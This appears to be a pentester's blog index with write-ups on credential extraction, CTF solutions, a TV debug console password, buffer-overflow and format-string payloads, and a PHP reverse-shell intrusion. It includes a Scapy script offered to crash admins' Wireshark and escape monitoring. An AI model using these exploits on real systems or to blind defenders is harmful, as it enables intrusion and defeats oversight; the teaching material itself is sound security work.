Skip to content

Extracting Domain Credentials from JAMF Self Service


During an examination of how JAMF Self Service authenticated to the domain I discovered that Self Service not just keeps Domain Credentials in memory in plaintext, but does not appear to free them after they are initially used.  To prove this I developed a Proof of Concept exploit that will search for a running Self Service process, make a local copy of the processes memory, and search for the username and password strings.  So long as the user has at one point authenticated within Self Service the credentials will be able to be harvested, even if they have logged off.  This has been tested on Self Service Version 9.93, but may work on other versions.

Continue reading "Extracting Domain Credentials from JAMF Self Service "

Dumping creds, and lateral movement without anything touching disk.

So lately on pen tests I have been focusing on 1) living off the land, and 2) doing everything I possibly can in memory to leave as little footprint as possible. Got to make the forensics guys earn their pay. To that extent I have been doing some what I think of as rather clever tricks with Kali, WMI, powershell, mimikatz, and samba. I wanted to post this up here so that I can easily find it and remember it in the future. Also I figured some people may be interested in it as well.

Continue reading "Dumping creds, and lateral movement without anything touching disk."

Stripe CTF Solutions

This is just a quick overview of my solutions to the Stripe-CTF levels.   I will not go over what each level was, just what the vulnerability is, an explanation of my solution, my solution, and any custom code generated for it. For additional details on the levels you can search the web, or go to the page.

Additionally if there are any questions on my methods please post a comment and Ill try and explain better.

Read more Bellow

Continue reading "Stripe CTF Solutions "

Stripe CTF

So last night I finished the Stripe CT. Level's 6, 7, and 8 were a bear.  Once the CTF is done on Wednesday I plan on doing a quick write up of my different solutions to the levels.  I will be curious to see how my methods differ from others.  I know my level 8 solution was not the most efficient, and required a lot more manual interaction than necessary.   Either way I will happily take the T-Shirt, and wear it proudly at the next security conference I go to.

If you are interested you can see my times here.  The long time for level 8 is a little disingenuous. I took Friday night and all of Saturday off from the CTF, as I had my GXPN exam Saturday afternoon (I passed), and prior family plans on Saturday night.

Wireshark exploit from Defcon 20 CTF

First let me start by saying I did not find this, nor did I do any of the heavy lifting in making this. All of that was the guys at NYU Poly ISIS Lab.

That being I always get a little excited I get whenever a new wireshark exploit comes out.  Sometimes when I am conducting an internal pentest I get a network admin with the mentality of a Stasi.  They sit there with wireshark running monitoring my port looking for any hint of malicious traffic. As soon as they see something the flag us as "caught" and put a stop to the pentest.  So having a collection of wireshark exploits is helpful in stopping the network admins and allowing me to continue my work unimpeded.  As such I "weaponized" the code the NYU Poly ISIS lab blog post to make my life easier.

The only real changes are making the packet get sent every second, I hard coded in the IPv6 link-local all nodes multicast group at FF02::1, and I took out the writing of the pcap file.  It should also be noted that if for some reason you need to run this over IPv4 you can change "packet=IPv6(" to "packet=IP(" and change the dst="FF02::1" to your local broadcast and it will still work.  Although, as long as your machine can write an IPv6 packet and the wireshark machine can read it, it doesn't matter if they are running IPv6 on the network.

#!/usr/bin/python #divide by zero in dcp-etsi.c wireshark dissector from scapy.all import  from sys import  crashdata='504623c4000000008854aa3d5a474547'.decode('hex') packet=IPv6(dst="FF02::1")/UDP(dport=55935,sport=42404)/crashdata send(packet,inter=1,loop=1)

If you know the admins IPv6 Address you can change the FF02::1 address to it so you are only targeting him

Other wise just leave it as is and it will get sent to everyone local who is talking IPv6.

Either way just run it and wireshark should crash leaving you free to finish your pentest.

Interesting find on my Sony TV

UPDATE: The password for the service is: gemstar
You can find out lots more info from
There is also nimue on github. Which is the exploit that is linked to from the hack-a-day article.

So I own a Sony Bravia KDL-46W5100. I was bored this weekend and decided to to take a look at its network foot print.  I did a bit of googling and came up kind of blank.  Doing a quick port scan I found that port 9784, and 12345 are open.  9784 is tcpwrapped and disconnects me as soon as I connect. I suspect that if I set my machine to a particular IP I would be able to connect to it there in some fashion.  However, port 12345 is far more interesting.  Nmap reported it back as echo, which struck me as a little odd.  Sure enough though when I connect to it, I am not greeted with a banner and anything I type gets echoed back to me.  However after the echo I am greeted with the following prompt.

For example;
$ nc <TV.IP> 12345

Anything I type gets echoed back, and I again get the same prompt.  However if I enter in a single \ I get the following.
6d.23:13:21:PASSWORD] \   
flushrstinfo - flush system reset information
debug - show subcommands
zmodemmode - Change File Mode of zmodem
rz - Rx file from ZModem
sz - Tx file through ZModem
cd - Go to directory
ls - List file
rm - Remove file
cp - Copy file or directory
pwd - current directory
diag - dump the diagnostics information
reset - perform a reset
commitdata - commit data
demo - Load demo data
settime - Force time
idd - Internet data delivery
download on current channel
dl - scheduled download info
dretest - data reception engine tests
searchNext - host search next channel
happ - Host App APIs
htime - Host Date/Time APIs
hsetup - Host Setup APIs
hui - Host UI APIs
hchlist - Host Channel List APIs
run - execute commands from script file
sleep - delay for specified seconds
fsopen - Open file
fsread - Read file
fswrite - Write file
fsclose - Close file
fdp - file content dump
prog - get listing
nprog - get next show
cat - get all category codes
catprog - search program by cat code
actprog - search program by actor ID
seriesprog - search program by series ID
schev - schedule event
job - job related function
device - device related function
loadimg - load image
gc - Garbage Collection Testing
channel - Channel tuning and editing
commit - Commit data to the DB
qatest - QA test specific command
clearresetinfo - Clear Reset Info command
cleareventlog - Clear Event Log command
configtimeout - Configure the Console Timeout
csstatus - set the Click Stream Enable/Disable status
cspack - pack/unpack the Click Stream File
cps - cps related functions
dbtest - for DB test
memtool - memory measurement tools
zip - zip/unzip a file
ad - begin/end house keeping mode
dbdebug - Turn on/off DB debuging messages
mins2time - Convert integer minutes to human-readable date/time
secs2time - Convert integer seconds to human-readable date/time
grfxlog - Turn on/off graphics logging

Which to me looks like a help menu. I can not execute any of the listed commands as if I type them I only get the command echoed back at me, and that stupid password prompt.   All googling attempt to figure out the password have failed.  
Other things of note.
I can enter in as many \ in a row as I want, and I get the same display, however if I end the \'s with two non \ characters I get that echoed back to me.
if I press and send an esc I can reset everything back to its start.  Meaning no password display prompt.  

I will work on this some more when I get the time. I think I found my new project.

Fun with overflows

So there is a lot of talk about ASLR and DEP, and other protection mechanisms in place to prevent the full exploitation of an application.  But sometimes you dont need to execute arbitrary instructions on the system, only change the flow of code execution.  Consider the following program;

#include <stdlib.h> #include <stdio.h> #include <string.h> int check(char *pass) { size_t len=strlen(pass); unsigned total = 0; size_t i; if (len < 10) return 0; for (i=0;i<len;i++){ if((pass[i] < '0' )||(pass[i] >'z')) return 0; total +=pass[i]; } if (total %853 == 69) return 1; else return 0; } int validate(){ char pass[24]; fscanf(stdin, "%s", pass); if(check(pass)) return 1; else return 0; } int good(){ printf ("Congratulations You Got It!\n"); exit(0); } int bad(){ printf ("Sorry You Did Not Get It :-(\n"); exit(1); } int main(int argc, char *argv[]) { if(validate()) good(); else bad(); return 0; }

Without figuring out what the correct password is we can get this application to execute the code in the good function.  Observe;

[ring0@<System Name> ~/badc]$ gdb -q pass2

Reading symbols from /home/ring0/badc/pass2...done.

(gdb) disassemble main

Dump of assembler code for function main:

   0x080485c1 <+0>:    lea    0x4(%esp),%ecx

   0x080485c5 <+4>:    and    $0xfffffff0,%esp

   0x080485c8 <+7>:    pushl  -0x4(%ecx)

   0x080485cb <+10>:    push   %ebp

   0x080485cc <+11>:    mov    %esp,%ebp

   0x080485ce <+13>:    push   %ecx

   0x080485cf <+14>:    sub    $0x4,%esp

   0x080485d2 <+17>:    call   0x804853e <validate>

   0x080485d7 <+22>:    test   %eax,%eax

   0x080485d9 <+24>:    je     0x80485e2 <main+33>

0x080485db <+26>:    call   0x8048585 <good>

   0x080485e0 <+31>:    jmp    0x80485e7 <main+38>

   0x080485e2 <+33>:    call   0x80485a3 <bad>

   0x080485e7 <+38>:    mov    $0x0,%eax

   0x080485ec <+43>:    add    $0x4,%esp

   0x080485ef <+46>:    pop    %ecx

   0x080485f0 <+47>:    pop    %ebp

   0x080485f1 <+48>:    lea    -0x4(%ecx),%esp

   0x080485f4 <+51>:    ret   

End of assembler dump.

(gdb) run

Starting program: /home/ring0/badc/pass2


Program received signal SIGSEGV, Segmentation fault.

0x43434343 in ?? ()

(gdb) quit

A debugging session is active.

    Inferior 1 [process 5706] will be killed.

Quit anyway? (y or n) y

[ring0@<System Name> ~/badc]$ printf "AAAAAAAAAAAAAAAAAAAAAAAABBBB\xdb\x85\x04\x08"|./pass2

Congratulations You Got It!

 So what did we get. We managed to bypass the authentication function of the application. And since we are jumping back into our own application we do not have to deal with randomization, or finding a place for our shellcode, or anything like that.  Now obviously this limits us to doing only things the application plans on doing, but we can alter the logic of the application now.


Format String

So the answer to Monday's problem was "syslog(LOG_INFO, argv[1]);" Is a format string vulnerability.  To solve the problem the line should be written as such

syslog(LOG_INFO, "%s", argv[1]);

Now what can be done with this is quite a lot.  Enter in the following ./logit `perl -e 'print "%08X:"x100'` and then look at you system logs.  What you are looking at is a dump of the programs stack.  But you can get access to read any area in memory you have access to read. So on my system which is an AMD64 System if I run the following;

./a.out $(perl -e 'print "%08x:" x 50 . "%s"')

And view syslog, I see;

Apr  2 11:37:52 <System Name> logfile[23995]: 00000008:00000000:004006bc:00000003:ffffe798:00000000:00000000:f7aa7b6d:00000000:ffffe798:00000000:00400564:

Or more directly without using perl.

./a.out %51\$s

and see
Apr  2 12:09:57 <System Name> logfile[24110]: PATH=/opt/wine/bin:/bin:/usr/bin:/sbin:/usr/sbin:/opt/java/bin:/opt/java/jre/bin:/usr/bin/perlbin/site:/usr/bin/perlbin/vendor:/usr/bin/perlbin/core:/opt/qt/bin

Which has my PATH variable in it.  So I am able to read to anyplace I want in memory, but what about write.  Well it turns out I can do that as well. Using a %n we can write the amount of data written to an associated memory address.  Ill leave that as an exercise for the reader though.  Or maybe if I can't think of anything else to post Ill do a write up on that as well.

Another fun challenge

I had a friend ask me over the weekend to show him how a particular vulnerability works.  So I wrote up a little example program and figured I would put it up here as a reference. Its nothing too complex, but some people may not have scene it before as its a rather old class of exploit, and is not a simple buffer overflow. All the program does is record the first argument passed to syslog.  So an example usage is ./logit "This will be logged",  then cat /var/log/syslog and you should see something to the extent of Mar 29 14:46:47 <SYSTEMNAME> logfile[8956]: This will be logged, and if you run it with out any arguments it write nothing to log to syslog.  A basic example of a programs logging functions.

On friday I will do a quick write up of what the vulnerability is, how to exploit it, and how to fix it.

base64 is not encyption!

So there exists a chess web site, that runs a monthly contest.  Everyday they post a new chess problem and you have to solve for mate.  If you correctly solve the problem you get an entry entered into their monthly contest.  If your entry gets picked you win the prize, an electronic chess set, a digital camera, an ipod, etc.  The problem with this site, which I have contacted about before, is that in the page source for the chess problem is the solution.  All one has to do is view page source, and there it is. Almost.  The following is an example from their site;

 If you take the string in that function and decode it as base64 you get;

Which is PGN for the solution.  So in this case we move our bishop to a4 and put him in check, he either moves to c4, or kills the bishop at a4, then we do the next step, so forth and so on.

 So knowing this I as an attacker can enter the puzzle everyday regardless of if I know the solution to the puzzle or not.

When will people realize that base64 is not encryption, and should not be treated as such.

Interesting experience.

In a pentest recently I was faced with an interesting problem, and I figured it may make for an interesting read.  The company had only one public facing website, written in PHP and hosted on a hardened debian box.  All scans and automated tools reported back nothing obviously exploitable. However there was a simple directory traversal bug in the websites php code.  Using this bug I managed to gain shell access on the machine, and eventually root.  The method in which I gained shell access was by far the most interesting approach I have had to come up with in a while.  Recall that any php code in a file that is called by php will be executed.  With this in mind I set forth in finding a place where I could dump php code into the system, and eventually browse to it using the directory traversal bug. All comments and other supplied inputs went directly into the database so I could not write to a file that way.  However, what I notice was that the language value was being stored in my php session.  Furthermore this session variable was not being properly filtered.  So using webscarab I modified my language to a simple set of php instructions that would d/l and run netcat for me.  I then used the directory traversal bug to view "/var/lib/php/sessions/<session_ID>"  and execute the stored php code.  From there I had a reverse shell on the machine and the rest was easy.

Figure this one out

Wrote this the other day while trying to figure out exactly how something works.  Worth looking at.  A case of beer to anyone who figures it out.  

Playing with Peach

Last week I participated in a training class provided by Michael Eddington the creator of Peach Fuzzer.  I must say it was very impressive.  I highly recommend people look into using peach for all there fuzzing needs.